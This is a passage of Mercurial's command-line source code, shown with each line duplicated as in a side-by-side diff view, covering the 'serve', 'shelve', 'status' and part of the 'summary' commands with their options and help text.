6556 """start stand-alone webserver
6557
6557
6558 Start a local HTTP repository browser and pull server. You can use
6558 Start a local HTTP repository browser and pull server. You can use
6559 this for ad-hoc sharing and browsing of repositories. It is
6559 this for ad-hoc sharing and browsing of repositories. It is
6560 recommended to use a real web server to serve a repository for
6560 recommended to use a real web server to serve a repository for
6561 longer periods of time.
6561 longer periods of time.
6562
6562
6563 Please note that the server does not implement access control.
6563 Please note that the server does not implement access control.
6564 This means that, by default, anybody can read from the server and
6564 This means that, by default, anybody can read from the server and
6565 nobody can write to it by default. Set the ``web.allow-push``
6565 nobody can write to it by default. Set the ``web.allow-push``
6566 option to ``*`` to allow everybody to push to the server. You
6566 option to ``*`` to allow everybody to push to the server. You
6567 should use a real web server if you need to authenticate users.
6567 should use a real web server if you need to authenticate users.
6568
6568
6569 By default, the server logs accesses to stdout and errors to
6569 By default, the server logs accesses to stdout and errors to
6570 stderr. Use the -A/--accesslog and -E/--errorlog options to log to
6570 stderr. Use the -A/--accesslog and -E/--errorlog options to log to
6571 files.
6571 files.
6572
6572
6573 To have the server choose a free port number to listen on, specify
6573 To have the server choose a free port number to listen on, specify
6574 a port number of 0; in this case, the server will print the port
6574 a port number of 0; in this case, the server will print the port
6575 number it uses.
6575 number it uses.
6576
6576
6577 Returns 0 on success.
6577 Returns 0 on success.
6578 """
6578 """
6579
6579
6580 cmdutil.check_incompatible_arguments(opts, 'stdio', ['cmdserver'])
6580 cmdutil.check_incompatible_arguments(opts, 'stdio', ['cmdserver'])
6581 opts = pycompat.byteskwargs(opts)
6581 opts = pycompat.byteskwargs(opts)
6582 if opts[b"print_url"] and ui.verbose:
6582 if opts[b"print_url"] and ui.verbose:
6583 raise error.InputError(_(b"cannot use --print-url with --verbose"))
6583 raise error.InputError(_(b"cannot use --print-url with --verbose"))
6584
6584
6585 if opts[b"stdio"]:
6585 if opts[b"stdio"]:
6586 if repo is None:
6586 if repo is None:
6587 raise error.RepoError(
6587 raise error.RepoError(
6588 _(b"there is no Mercurial repository here (.hg not found)")
6588 _(b"there is no Mercurial repository here (.hg not found)")
6589 )
6589 )
6590 s = wireprotoserver.sshserver(ui, repo)
6590 s = wireprotoserver.sshserver(ui, repo)
6591 s.serve_forever()
6591 s.serve_forever()
6592 return
6592 return
6593
6593
6594 service = server.createservice(ui, repo, opts)
6594 service = server.createservice(ui, repo, opts)
6595 return server.runservice(opts, initfn=service.init, runfn=service.run)
6595 return server.runservice(opts, initfn=service.init, runfn=service.run)
6596
6596
6597
6597
6598 @command(
6598 @command(
6599 b'shelve',
6599 b'shelve',
6600 [
6600 [
6601 (
6601 (
6602 b'A',
6602 b'A',
6603 b'addremove',
6603 b'addremove',
6604 None,
6604 None,
6605 _(b'mark new/missing files as added/removed before shelving'),
6605 _(b'mark new/missing files as added/removed before shelving'),
6606 ),
6606 ),
6607 (b'u', b'unknown', None, _(b'store unknown files in the shelve')),
6607 (b'u', b'unknown', None, _(b'store unknown files in the shelve')),
6608 (b'', b'cleanup', None, _(b'delete all shelved changes')),
6608 (b'', b'cleanup', None, _(b'delete all shelved changes')),
6609 (
6609 (
6610 b'',
6610 b'',
6611 b'date',
6611 b'date',
6612 b'',
6612 b'',
6613 _(b'shelve with the specified commit date'),
6613 _(b'shelve with the specified commit date'),
6614 _(b'DATE'),
6614 _(b'DATE'),
6615 ),
6615 ),
6616 (b'd', b'delete', None, _(b'delete the named shelved change(s)')),
6616 (b'd', b'delete', None, _(b'delete the named shelved change(s)')),
6617 (b'e', b'edit', False, _(b'invoke editor on commit messages')),
6617 (b'e', b'edit', False, _(b'invoke editor on commit messages')),
6618 (
6618 (
6619 b'k',
6619 b'k',
6620 b'keep',
6620 b'keep',
6621 False,
6621 False,
6622 _(b'shelve, but keep changes in the working directory'),
6622 _(b'shelve, but keep changes in the working directory'),
6623 ),
6623 ),
6624 (b'l', b'list', None, _(b'list current shelves')),
6624 (b'l', b'list', None, _(b'list current shelves')),
6625 (b'm', b'message', b'', _(b'use text as shelve message'), _(b'TEXT')),
6625 (b'm', b'message', b'', _(b'use text as shelve message'), _(b'TEXT')),
6626 (
6626 (
6627 b'n',
6627 b'n',
6628 b'name',
6628 b'name',
6629 b'',
6629 b'',
6630 _(b'use the given name for the shelved commit'),
6630 _(b'use the given name for the shelved commit'),
6631 _(b'NAME'),
6631 _(b'NAME'),
6632 ),
6632 ),
6633 (
6633 (
6634 b'p',
6634 b'p',
6635 b'patch',
6635 b'patch',
6636 None,
6636 None,
6637 _(
6637 _(
6638 b'output patches for changes (provide the names of the shelved '
6638 b'output patches for changes (provide the names of the shelved '
6639 b'changes as positional arguments)'
6639 b'changes as positional arguments)'
6640 ),
6640 ),
6641 ),
6641 ),
6642 (b'i', b'interactive', None, _(b'interactive mode')),
6642 (b'i', b'interactive', None, _(b'interactive mode')),
6643 (
6643 (
6644 b'',
6644 b'',
6645 b'stat',
6645 b'stat',
6646 None,
6646 None,
6647 _(
6647 _(
6648 b'output diffstat-style summary of changes (provide the names of '
6648 b'output diffstat-style summary of changes (provide the names of '
6649 b'the shelved changes as positional arguments)'
6649 b'the shelved changes as positional arguments)'
6650 ),
6650 ),
6651 ),
6651 ),
6652 ]
6652 ]
6653 + cmdutil.walkopts,
6653 + cmdutil.walkopts,
6654 _(b'hg shelve [OPTION]... [FILE]...'),
6654 _(b'hg shelve [OPTION]... [FILE]...'),
6655 helpcategory=command.CATEGORY_WORKING_DIRECTORY,
6655 helpcategory=command.CATEGORY_WORKING_DIRECTORY,
6656 )
6656 )
6657 def shelve(ui, repo, *pats, **opts):
6657 def shelve(ui, repo, *pats, **opts):
6658 """save and set aside changes from the working directory
6658 """save and set aside changes from the working directory
6659
6659
6660 Shelving takes files that "hg status" reports as not clean, saves
6660 Shelving takes files that "hg status" reports as not clean, saves
6661 the modifications to a bundle (a shelved change), and reverts the
6661 the modifications to a bundle (a shelved change), and reverts the
6662 files so that their state in the working directory becomes clean.
6662 files so that their state in the working directory becomes clean.
6663
6663
6664 To restore these changes to the working directory, using "hg
6664 To restore these changes to the working directory, using "hg
6665 unshelve"; this will work even if you switch to a different
6665 unshelve"; this will work even if you switch to a different
6666 commit.
6666 commit.
6667
6667
6668 When no files are specified, "hg shelve" saves all not-clean
6668 When no files are specified, "hg shelve" saves all not-clean
6669 files. If specific files or directories are named, only changes to
6669 files. If specific files or directories are named, only changes to
6670 those files are shelved.
6670 those files are shelved.
6671
6671
6672 In bare shelve (when no files are specified, without interactive,
6672 In bare shelve (when no files are specified, without interactive,
6673 include and exclude option), shelving remembers information if the
6673 include and exclude option), shelving remembers information if the
6674 working directory was on newly created branch, in other words working
6674 working directory was on newly created branch, in other words working
6675 directory was on different branch than its first parent. In this
6675 directory was on different branch than its first parent. In this
6676 situation unshelving restores branch information to the working directory.
6676 situation unshelving restores branch information to the working directory.
6677
6677
6678 Each shelved change has a name that makes it easier to find later.
6678 Each shelved change has a name that makes it easier to find later.
6679 The name of a shelved change defaults to being based on the active
6679 The name of a shelved change defaults to being based on the active
6680 bookmark, or if there is no active bookmark, the current named
6680 bookmark, or if there is no active bookmark, the current named
6681 branch. To specify a different name, use ``--name``.
6681 branch. To specify a different name, use ``--name``.
6682
6682
6683 To see a list of existing shelved changes, use the ``--list``
6683 To see a list of existing shelved changes, use the ``--list``
6684 option. For each shelved change, this will print its name, age,
6684 option. For each shelved change, this will print its name, age,
6685 and description; use ``--patch`` or ``--stat`` for more details.
6685 and description; use ``--patch`` or ``--stat`` for more details.
6686
6686
6687 To delete specific shelved changes, use ``--delete``. To delete
6687 To delete specific shelved changes, use ``--delete``. To delete
6688 all shelved changes, use ``--cleanup``.
6688 all shelved changes, use ``--cleanup``.
6689 """
6689 """
6690 opts = pycompat.byteskwargs(opts)
6690 opts = pycompat.byteskwargs(opts)
6691 allowables = [
6691 allowables = [
6692 (b'addremove', {b'create'}), # 'create' is pseudo action
6692 (b'addremove', {b'create'}), # 'create' is pseudo action
6693 (b'unknown', {b'create'}),
6693 (b'unknown', {b'create'}),
6694 (b'cleanup', {b'cleanup'}),
6694 (b'cleanup', {b'cleanup'}),
6695 # ('date', {'create'}), # ignored for passing '--date "0 0"' in tests
6695 # ('date', {'create'}), # ignored for passing '--date "0 0"' in tests
6696 (b'delete', {b'delete'}),
6696 (b'delete', {b'delete'}),
6697 (b'edit', {b'create'}),
6697 (b'edit', {b'create'}),
6698 (b'keep', {b'create'}),
6698 (b'keep', {b'create'}),
6699 (b'list', {b'list'}),
6699 (b'list', {b'list'}),
6700 (b'message', {b'create'}),
6700 (b'message', {b'create'}),
6701 (b'name', {b'create'}),
6701 (b'name', {b'create'}),
6702 (b'patch', {b'patch', b'list'}),
6702 (b'patch', {b'patch', b'list'}),
6703 (b'stat', {b'stat', b'list'}),
6703 (b'stat', {b'stat', b'list'}),
6704 ]
6704 ]
6705
6705
6706 def checkopt(opt):
6706 def checkopt(opt):
6707 if opts.get(opt):
6707 if opts.get(opt):
6708 for i, allowable in allowables:
6708 for i, allowable in allowables:
6709 if opts[i] and opt not in allowable:
6709 if opts[i] and opt not in allowable:
6710 raise error.InputError(
6710 raise error.InputError(
6711 _(
6711 _(
6712 b"options '--%s' and '--%s' may not be "
6712 b"options '--%s' and '--%s' may not be "
6713 b"used together"
6713 b"used together"
6714 )
6714 )
6715 % (opt, i)
6715 % (opt, i)
6716 )
6716 )
6717 return True
6717 return True
6718
6718
6719 if checkopt(b'cleanup'):
6719 if checkopt(b'cleanup'):
6720 if pats:
6720 if pats:
6721 raise error.InputError(
6721 raise error.InputError(
6722 _(b"cannot specify names when using '--cleanup'")
6722 _(b"cannot specify names when using '--cleanup'")
6723 )
6723 )
6724 return shelvemod.cleanupcmd(ui, repo)
6724 return shelvemod.cleanupcmd(ui, repo)
6725 elif checkopt(b'delete'):
6725 elif checkopt(b'delete'):
6726 return shelvemod.deletecmd(ui, repo, pats)
6726 return shelvemod.deletecmd(ui, repo, pats)
6727 elif checkopt(b'list'):
6727 elif checkopt(b'list'):
6728 return shelvemod.listcmd(ui, repo, pats, opts)
6728 return shelvemod.listcmd(ui, repo, pats, opts)
6729 elif checkopt(b'patch') or checkopt(b'stat'):
6729 elif checkopt(b'patch') or checkopt(b'stat'):
6730 return shelvemod.patchcmds(ui, repo, pats, opts)
6730 return shelvemod.patchcmds(ui, repo, pats, opts)
6731 else:
6731 else:
6732 return shelvemod.createcmd(ui, repo, pats, opts)
6732 return shelvemod.createcmd(ui, repo, pats, opts)
6733
6733
6734
6734
6735 _NOTTERSE = b'nothing'
6735 _NOTTERSE = b'nothing'
6736
6736
6737
6737
6738 @command(
6738 @command(
6739 b'status|st',
6739 b'status|st',
6740 [
6740 [
6741 (b'A', b'all', None, _(b'show status of all files')),
6741 (b'A', b'all', None, _(b'show status of all files')),
6742 (b'm', b'modified', None, _(b'show only modified files')),
6742 (b'm', b'modified', None, _(b'show only modified files')),
6743 (b'a', b'added', None, _(b'show only added files')),
6743 (b'a', b'added', None, _(b'show only added files')),
6744 (b'r', b'removed', None, _(b'show only removed files')),
6744 (b'r', b'removed', None, _(b'show only removed files')),
6745 (b'd', b'deleted', None, _(b'show only missing files')),
6745 (b'd', b'deleted', None, _(b'show only missing files')),
6746 (b'c', b'clean', None, _(b'show only files without changes')),
6746 (b'c', b'clean', None, _(b'show only files without changes')),
6747 (b'u', b'unknown', None, _(b'show only unknown (not tracked) files')),
6747 (b'u', b'unknown', None, _(b'show only unknown (not tracked) files')),
6748 (b'i', b'ignored', None, _(b'show only ignored files')),
6748 (b'i', b'ignored', None, _(b'show only ignored files')),
6749 (b'n', b'no-status', None, _(b'hide status prefix')),
6749 (b'n', b'no-status', None, _(b'hide status prefix')),
6750 (b't', b'terse', _NOTTERSE, _(b'show the terse output (EXPERIMENTAL)')),
6750 (b't', b'terse', _NOTTERSE, _(b'show the terse output (EXPERIMENTAL)')),
6751 (
6751 (
6752 b'C',
6752 b'C',
6753 b'copies',
6753 b'copies',
6754 None,
6754 None,
6755 _(b'show source of copied files (DEFAULT: ui.statuscopies)'),
6755 _(b'show source of copied files (DEFAULT: ui.statuscopies)'),
6756 ),
6756 ),
6757 (
6757 (
6758 b'0',
6758 b'0',
6759 b'print0',
6759 b'print0',
6760 None,
6760 None,
6761 _(b'end filenames with NUL, for use with xargs'),
6761 _(b'end filenames with NUL, for use with xargs'),
6762 ),
6762 ),
6763 (b'', b'rev', [], _(b'show difference from revision'), _(b'REV')),
6763 (b'', b'rev', [], _(b'show difference from revision'), _(b'REV')),
6764 (
6764 (
6765 b'',
6765 b'',
6766 b'change',
6766 b'change',
6767 b'',
6767 b'',
6768 _(b'list the changed files of a revision'),
6768 _(b'list the changed files of a revision'),
6769 _(b'REV'),
6769 _(b'REV'),
6770 ),
6770 ),
6771 ]
6771 ]
6772 + walkopts
6772 + walkopts
6773 + subrepoopts
6773 + subrepoopts
6774 + formatteropts,
6774 + formatteropts,
6775 _(b'[OPTION]... [FILE]...'),
6775 _(b'[OPTION]... [FILE]...'),
6776 helpcategory=command.CATEGORY_WORKING_DIRECTORY,
6776 helpcategory=command.CATEGORY_WORKING_DIRECTORY,
6777 helpbasic=True,
6777 helpbasic=True,
6778 inferrepo=True,
6778 inferrepo=True,
6779 intents={INTENT_READONLY},
6779 intents={INTENT_READONLY},
6780 )
6780 )
6781 def status(ui, repo, *pats, **opts):
6781 def status(ui, repo, *pats, **opts):
6782 """show changed files in the working directory
6782 """show changed files in the working directory
6783
6783
6784 Show status of files in the repository. If names are given, only
6784 Show status of files in the repository. If names are given, only
6785 files that match are shown. Files that are clean or ignored or
6785 files that match are shown. Files that are clean or ignored or
6786 the source of a copy/move operation, are not listed unless
6786 the source of a copy/move operation, are not listed unless
6787 -c/--clean, -i/--ignored, -C/--copies or -A/--all are given.
6787 -c/--clean, -i/--ignored, -C/--copies or -A/--all are given.
6788 Unless options described with "show only ..." are given, the
6788 Unless options described with "show only ..." are given, the
6789 options -mardu are used.
6789 options -mardu are used.
6790
6790
6791 Option -q/--quiet hides untracked (unknown and ignored) files
6791 Option -q/--quiet hides untracked (unknown and ignored) files
6792 unless explicitly requested with -u/--unknown or -i/--ignored.
6792 unless explicitly requested with -u/--unknown or -i/--ignored.
6793
6793
6794 .. note::
6794 .. note::
6795
6795
6796 :hg:`status` may appear to disagree with diff if permissions have
6796 :hg:`status` may appear to disagree with diff if permissions have
6797 changed or a merge has occurred. The standard diff format does
6797 changed or a merge has occurred. The standard diff format does
6798 not report permission changes and diff only reports changes
6798 not report permission changes and diff only reports changes
6799 relative to one merge parent.
6799 relative to one merge parent.
6800
6800
6801 If one revision is given, it is used as the base revision.
6801 If one revision is given, it is used as the base revision.
6802 If two revisions are given, the differences between them are
6802 If two revisions are given, the differences between them are
6803 shown. The --change option can also be used as a shortcut to list
6803 shown. The --change option can also be used as a shortcut to list
6804 the changed files of a revision from its first parent.
6804 the changed files of a revision from its first parent.
6805
6805
6806 The codes used to show the status of files are::
6806 The codes used to show the status of files are::
6807
6807
6808 M = modified
6808 M = modified
6809 A = added
6809 A = added
6810 R = removed
6810 R = removed
6811 C = clean
6811 C = clean
6812 ! = missing (deleted by non-hg command, but still tracked)
6812 ! = missing (deleted by non-hg command, but still tracked)
6813 ? = not tracked
6813 ? = not tracked
6814 I = ignored
6814 I = ignored
6815 = origin of the previous file (with --copies)
6815 = origin of the previous file (with --copies)
6816
6816
6817 .. container:: verbose
6817 .. container:: verbose
6818
6818
6819 The -t/--terse option abbreviates the output by showing only the directory
6819 The -t/--terse option abbreviates the output by showing only the directory
6820 name if all the files in it share the same status. The option takes an
6820 name if all the files in it share the same status. The option takes an
6821 argument indicating the statuses to abbreviate: 'm' for 'modified', 'a'
6821 argument indicating the statuses to abbreviate: 'm' for 'modified', 'a'
6822 for 'added', 'r' for 'removed', 'd' for 'deleted', 'u' for 'unknown', 'i'
6822 for 'added', 'r' for 'removed', 'd' for 'deleted', 'u' for 'unknown', 'i'
6823 for 'ignored' and 'c' for clean.
6823 for 'ignored' and 'c' for clean.
6824
6824
6825 It abbreviates only those statuses which are passed. Note that clean and
6825 It abbreviates only those statuses which are passed. Note that clean and
6826 ignored files are not displayed with '--terse ic' unless the -c/--clean
6826 ignored files are not displayed with '--terse ic' unless the -c/--clean
6827 and -i/--ignored options are also used.
6827 and -i/--ignored options are also used.
6828
6828
6829 The -v/--verbose option shows information when the repository is in an
6829 The -v/--verbose option shows information when the repository is in an
6830 unfinished merge, shelve, rebase state etc. You can have this behavior
6830 unfinished merge, shelve, rebase state etc. You can have this behavior
6831 turned on by default by enabling the ``commands.status.verbose`` option.
6831 turned on by default by enabling the ``commands.status.verbose`` option.
6832
6832
6833 You can skip displaying some of these states by setting
6833 You can skip displaying some of these states by setting
6834 ``commands.status.skipstates`` to one or more of: 'bisect', 'graft',
6834 ``commands.status.skipstates`` to one or more of: 'bisect', 'graft',
6835 'histedit', 'merge', 'rebase', or 'unshelve'.
6835 'histedit', 'merge', 'rebase', or 'unshelve'.
6836
6836
6837 Template:
6837 Template:
6838
6838
6839 The following keywords are supported in addition to the common template
6839 The following keywords are supported in addition to the common template
6840 keywords and functions. See also :hg:`help templates`.
6840 keywords and functions. See also :hg:`help templates`.
6841
6841
6842 :path: String. Repository-absolute path of the file.
6842 :path: String. Repository-absolute path of the file.
6843 :source: String. Repository-absolute path of the file originated from.
6843 :source: String. Repository-absolute path of the file originated from.
6844 Available if ``--copies`` is specified.
6844 Available if ``--copies`` is specified.
6845 :status: String. Character denoting file's status.
6845 :status: String. Character denoting file's status.
6846
6846
6847 Examples:
6847 Examples:
6848
6848
6849 - show changes in the working directory relative to a
6849 - show changes in the working directory relative to a
6850 changeset::
6850 changeset::
6851
6851
6852 hg status --rev 9353
6852 hg status --rev 9353
6853
6853
6854 - show changes in the working directory relative to the
6854 - show changes in the working directory relative to the
6855 current directory (see :hg:`help patterns` for more information)::
6855 current directory (see :hg:`help patterns` for more information)::
6856
6856
6857 hg status re:
6857 hg status re:
6858
6858
6859 - show all changes including copies in an existing changeset::
6859 - show all changes including copies in an existing changeset::
6860
6860
6861 hg status --copies --change 9353
6861 hg status --copies --change 9353
6862
6862
6863 - get a NUL separated list of added files, suitable for xargs::
6863 - get a NUL separated list of added files, suitable for xargs::
6864
6864
6865 hg status -an0
6865 hg status -an0
6866
6866
6867 - show more information about the repository status, abbreviating
6867 - show more information about the repository status, abbreviating
6868 added, removed, modified, deleted, and untracked paths::
6868 added, removed, modified, deleted, and untracked paths::
6869
6869
6870 hg status -v -t mardu
6870 hg status -v -t mardu
6871
6871
6872 Returns 0 on success.
6872 Returns 0 on success.
6873
6873
6874 """
6874 """
6875
6875
6876 cmdutil.check_at_most_one_arg(opts, 'rev', 'change')
6876 cmdutil.check_at_most_one_arg(opts, 'rev', 'change')
6877 opts = pycompat.byteskwargs(opts)
6877 opts = pycompat.byteskwargs(opts)
6878 revs = opts.get(b'rev', [])
6878 revs = opts.get(b'rev', [])
6879 change = opts.get(b'change', b'')
6879 change = opts.get(b'change', b'')
6880 terse = opts.get(b'terse', _NOTTERSE)
6880 terse = opts.get(b'terse', _NOTTERSE)
6881 if terse is _NOTTERSE:
6881 if terse is _NOTTERSE:
6882 if revs:
6882 if revs:
6883 terse = b''
6883 terse = b''
6884 else:
6884 else:
6885 terse = ui.config(b'commands', b'status.terse')
6885 terse = ui.config(b'commands', b'status.terse')
6886
6886
6887 if revs and terse:
6887 if revs and terse:
6888 msg = _(b'cannot use --terse with --rev')
6888 msg = _(b'cannot use --terse with --rev')
6889 raise error.InputError(msg)
6889 raise error.InputError(msg)
6890 elif change:
6890 elif change:
6891 repo = scmutil.unhidehashlikerevs(repo, [change], b'nowarn')
6891 repo = scmutil.unhidehashlikerevs(repo, [change], b'nowarn')
6892 ctx2 = logcmdutil.revsingle(repo, change, None)
6892 ctx2 = logcmdutil.revsingle(repo, change, None)
6893 ctx1 = ctx2.p1()
6893 ctx1 = ctx2.p1()
6894 else:
6894 else:
6895 repo = scmutil.unhidehashlikerevs(repo, revs, b'nowarn')
6895 repo = scmutil.unhidehashlikerevs(repo, revs, b'nowarn')
6896 ctx1, ctx2 = logcmdutil.revpair(repo, revs)
6896 ctx1, ctx2 = logcmdutil.revpair(repo, revs)
6897
6897
6898 forcerelativevalue = None
6898 forcerelativevalue = None
6899 if ui.hasconfig(b'commands', b'status.relative'):
6899 if ui.hasconfig(b'commands', b'status.relative'):
6900 forcerelativevalue = ui.configbool(b'commands', b'status.relative')
6900 forcerelativevalue = ui.configbool(b'commands', b'status.relative')
6901 uipathfn = scmutil.getuipathfn(
6901 uipathfn = scmutil.getuipathfn(
6902 repo,
6902 repo,
6903 legacyrelativevalue=bool(pats),
6903 legacyrelativevalue=bool(pats),
6904 forcerelativevalue=forcerelativevalue,
6904 forcerelativevalue=forcerelativevalue,
6905 )
6905 )
6906
6906
6907 if opts.get(b'print0'):
6907 if opts.get(b'print0'):
6908 end = b'\0'
6908 end = b'\0'
6909 else:
6909 else:
6910 end = b'\n'
6910 end = b'\n'
6911 states = b'modified added removed deleted unknown ignored clean'.split()
6911 states = b'modified added removed deleted unknown ignored clean'.split()
6912 show = [k for k in states if opts.get(k)]
6912 show = [k for k in states if opts.get(k)]
6913 if opts.get(b'all'):
6913 if opts.get(b'all'):
6914 show += ui.quiet and (states[:4] + [b'clean']) or states
6914 show += ui.quiet and (states[:4] + [b'clean']) or states
6915
6915
6916 if not show:
6916 if not show:
6917 if ui.quiet:
6917 if ui.quiet:
6918 show = states[:4]
6918 show = states[:4]
6919 else:
6919 else:
6920 show = states[:5]
6920 show = states[:5]
6921
6921
6922 m = scmutil.match(ctx2, pats, opts)
6922 m = scmutil.match(ctx2, pats, opts)
6923 if terse:
6923 if terse:
6924 # we need to compute clean and unknown to terse
6924 # we need to compute clean and unknown to terse
6925 stat = repo.status(
6925 stat = repo.status(
6926 ctx1.node(),
6926 ctx1.node(),
6927 ctx2.node(),
6927 ctx2.node(),
6928 m,
6928 m,
6929 b'ignored' in show or b'i' in terse,
6929 b'ignored' in show or b'i' in terse,
6930 clean=True,
6930 clean=True,
6931 unknown=True,
6931 unknown=True,
6932 listsubrepos=opts.get(b'subrepos'),
6932 listsubrepos=opts.get(b'subrepos'),
6933 )
6933 )
6934
6934
6935 stat = cmdutil.tersedir(stat, terse)
6935 stat = cmdutil.tersedir(stat, terse)
6936 else:
6936 else:
6937 stat = repo.status(
6937 stat = repo.status(
6938 ctx1.node(),
6938 ctx1.node(),
6939 ctx2.node(),
6939 ctx2.node(),
6940 m,
6940 m,
6941 b'ignored' in show,
6941 b'ignored' in show,
6942 b'clean' in show,
6942 b'clean' in show,
6943 b'unknown' in show,
6943 b'unknown' in show,
6944 opts.get(b'subrepos'),
6944 opts.get(b'subrepos'),
6945 )
6945 )
6946
6946
6947 changestates = zip(
6947 changestates = zip(
6948 states,
6948 states,
6949 pycompat.iterbytestr(b'MAR!?IC'),
6949 pycompat.iterbytestr(b'MAR!?IC'),
6950 [getattr(stat, s.decode('utf8')) for s in states],
6950 [getattr(stat, s.decode('utf8')) for s in states],
6951 )
6951 )
6952
6952
6953 copy = {}
6953 copy = {}
6954 if (
6954 if (
6955 opts.get(b'all')
6955 opts.get(b'all')
6956 or opts.get(b'copies')
6956 or opts.get(b'copies')
6957 or ui.configbool(b'ui', b'statuscopies')
6957 or ui.configbool(b'ui', b'statuscopies')
6958 ) and not opts.get(b'no_status'):
6958 ) and not opts.get(b'no_status'):
6959 copy = copies.pathcopies(ctx1, ctx2, m)
6959 copy = copies.pathcopies(ctx1, ctx2, m)
6960
6960
6961 morestatus = None
6961 morestatus = None
6962 if (
6962 if (
6963 (ui.verbose or ui.configbool(b'commands', b'status.verbose'))
6963 (ui.verbose or ui.configbool(b'commands', b'status.verbose'))
6964 and not ui.plain()
6964 and not ui.plain()
6965 and not opts.get(b'print0')
6965 and not opts.get(b'print0')
6966 ):
6966 ):
6967 morestatus = cmdutil.readmorestatus(repo)
6967 morestatus = cmdutil.readmorestatus(repo)
6968
6968
6969 ui.pager(b'status')
6969 ui.pager(b'status')
6970 fm = ui.formatter(b'status', opts)
6970 fm = ui.formatter(b'status', opts)
6971 fmt = b'%s' + end
6971 fmt = b'%s' + end
6972 showchar = not opts.get(b'no_status')
6972 showchar = not opts.get(b'no_status')
6973
6973
6974 for state, char, files in changestates:
6974 for state, char, files in changestates:
6975 if state in show:
6975 if state in show:
6976 label = b'status.' + state
6976 label = b'status.' + state
6977 for f in files:
6977 for f in files:
6978 fm.startitem()
6978 fm.startitem()
6979 fm.context(ctx=ctx2)
6979 fm.context(ctx=ctx2)
6980 fm.data(itemtype=b'file', path=f)
6980 fm.data(itemtype=b'file', path=f)
6981 fm.condwrite(showchar, b'status', b'%s ', char, label=label)
6981 fm.condwrite(showchar, b'status', b'%s ', char, label=label)
6982 fm.plain(fmt % uipathfn(f), label=label)
6982 fm.plain(fmt % uipathfn(f), label=label)
6983 if f in copy:
6983 if f in copy:
6984 fm.data(source=copy[f])
6984 fm.data(source=copy[f])
6985 fm.plain(
6985 fm.plain(
6986 (b' %s' + end) % uipathfn(copy[f]),
6986 (b' %s' + end) % uipathfn(copy[f]),
6987 label=b'status.copied',
6987 label=b'status.copied',
6988 )
6988 )
6989 if morestatus:
6989 if morestatus:
6990 morestatus.formatfile(f, fm)
6990 morestatus.formatfile(f, fm)
6991
6991
6992 if morestatus:
6992 if morestatus:
6993 morestatus.formatfooter(fm)
6993 morestatus.formatfooter(fm)
6994 fm.end()
6994 fm.end()
6995
6995
6996
6996
6997 @command(
6997 @command(
6998 b'summary|sum',
6998 b'summary|sum',
6999 [(b'', b'remote', None, _(b'check for push and pull'))],
6999 [(b'', b'remote', None, _(b'check for push and pull'))],
7000 b'[--remote]',
7000 b'[--remote]',
7001 helpcategory=command.CATEGORY_WORKING_DIRECTORY,
7001 helpcategory=command.CATEGORY_WORKING_DIRECTORY,
7002 helpbasic=True,
7002 helpbasic=True,
7003 intents={INTENT_READONLY},
7003 intents={INTENT_READONLY},
7004 )
7004 )
7005 def summary(ui, repo, **opts):
7005 def summary(ui, repo, **opts):
7006 """summarize working directory state
7006 """summarize working directory state
7007
7007
7008 This generates a brief summary of the working directory state,
7008 This generates a brief summary of the working directory state,
7009 including parents, branch, commit status, phase and available updates.
7009 including parents, branch, commit status, phase and available updates.
7010
7010
7011 With the --remote option, this will check the default paths for
7011 With the --remote option, this will check the default paths for
7012 incoming and outgoing changes. This can be time-consuming.
7012 incoming and outgoing changes. This can be time-consuming.
7013
7013
7014 Returns 0 on success.
7014 Returns 0 on success.
7015 """
7015 """
7016
7016
7017 opts = pycompat.byteskwargs(opts)
7017 opts = pycompat.byteskwargs(opts)
7018 ui.pager(b'summary')
7018 ui.pager(b'summary')
7019 ctx = repo[None]
7019 ctx = repo[None]
7020 parents = ctx.parents()
7020 parents = ctx.parents()
7021 pnode = parents[0].node()
7021 pnode = parents[0].node()
7022 marks = []
7022 marks = []
7023
7023
7024 try:
7024 try:
7025 ms = mergestatemod.mergestate.read(repo)
7025 ms = mergestatemod.mergestate.read(repo)
7026 except error.UnsupportedMergeRecords as e:
7026 except error.UnsupportedMergeRecords as e:
7027 s = b' '.join(e.recordtypes)
7027 s = b' '.join(e.recordtypes)
7028 ui.warn(
7028 ui.warn(
7029 _(b'warning: merge state has unsupported record types: %s\n') % s
7029 _(b'warning: merge state has unsupported record types: %s\n') % s
7030 )
7030 )
7031 unresolved = []
7031 unresolved = []
7032 else:
7032 else:
7033 unresolved = list(ms.unresolved())
7033 unresolved = list(ms.unresolved())
7034
7034
7035 for p in parents:
7035 for p in parents:
7036 # label with log.changeset (instead of log.parent) since this
7036 # label with log.changeset (instead of log.parent) since this
7037 # shows a working directory parent *changeset*:
7037 # shows a working directory parent *changeset*:
7038 # i18n: column positioning for "hg summary"
7038 # i18n: column positioning for "hg summary"
7039 ui.write(
7039 ui.write(
7040 _(b'parent: %d:%s ') % (p.rev(), p),
7040 _(b'parent: %d:%s ') % (p.rev(), p),
7041 label=logcmdutil.changesetlabels(p),
7041 label=logcmdutil.changesetlabels(p),
7042 )
7042 )
7043 ui.write(b' '.join(p.tags()), label=b'log.tag')
7043 ui.write(b' '.join(p.tags()), label=b'log.tag')
7044 if p.bookmarks():
7044 if p.bookmarks():
7045 marks.extend(p.bookmarks())
7045 marks.extend(p.bookmarks())
7046 if p.rev() == -1:
7046 if p.rev() == -1:
7047 if not len(repo):
7047 if not len(repo):
7048 ui.write(_(b' (empty repository)'))
7048 ui.write(_(b' (empty repository)'))
7049 else:
7049 else:
7050 ui.write(_(b' (no revision checked out)'))
7050 ui.write(_(b' (no revision checked out)'))
7051 if p.obsolete():
7051 if p.obsolete():
7052 ui.write(_(b' (obsolete)'))
7052 ui.write(_(b' (obsolete)'))
7053 if p.isunstable():
7053 if p.isunstable():
7054 instabilities = (
7054 instabilities = (
7055 ui.label(instability, b'trouble.%s' % instability)
7055 ui.label(instability, b'trouble.%s' % instability)
7056 for instability in p.instabilities()
7056 for instability in p.instabilities()
7057 )
7057 )
7058 ui.write(b' (' + b', '.join(instabilities) + b')')
7058 ui.write(b' (' + b', '.join(instabilities) + b')')
7059 ui.write(b'\n')
7059 ui.write(b'\n')
7060 if p.description():
7060 if p.description():
7061 ui.status(
7061 ui.status(
7062 b' ' + p.description().splitlines()[0].strip() + b'\n',
7062 b' ' + p.description().splitlines()[0].strip() + b'\n',
7063 label=b'log.summary',
7063 label=b'log.summary',
7064 )
7064 )
7065
7065
7066 branch = ctx.branch()
7066 branch = ctx.branch()
7067 bheads = repo.branchheads(branch)
7067 bheads = repo.branchheads(branch)
7068 # i18n: column positioning for "hg summary"
7068 # i18n: column positioning for "hg summary"
7069 m = _(b'branch: %s\n') % branch
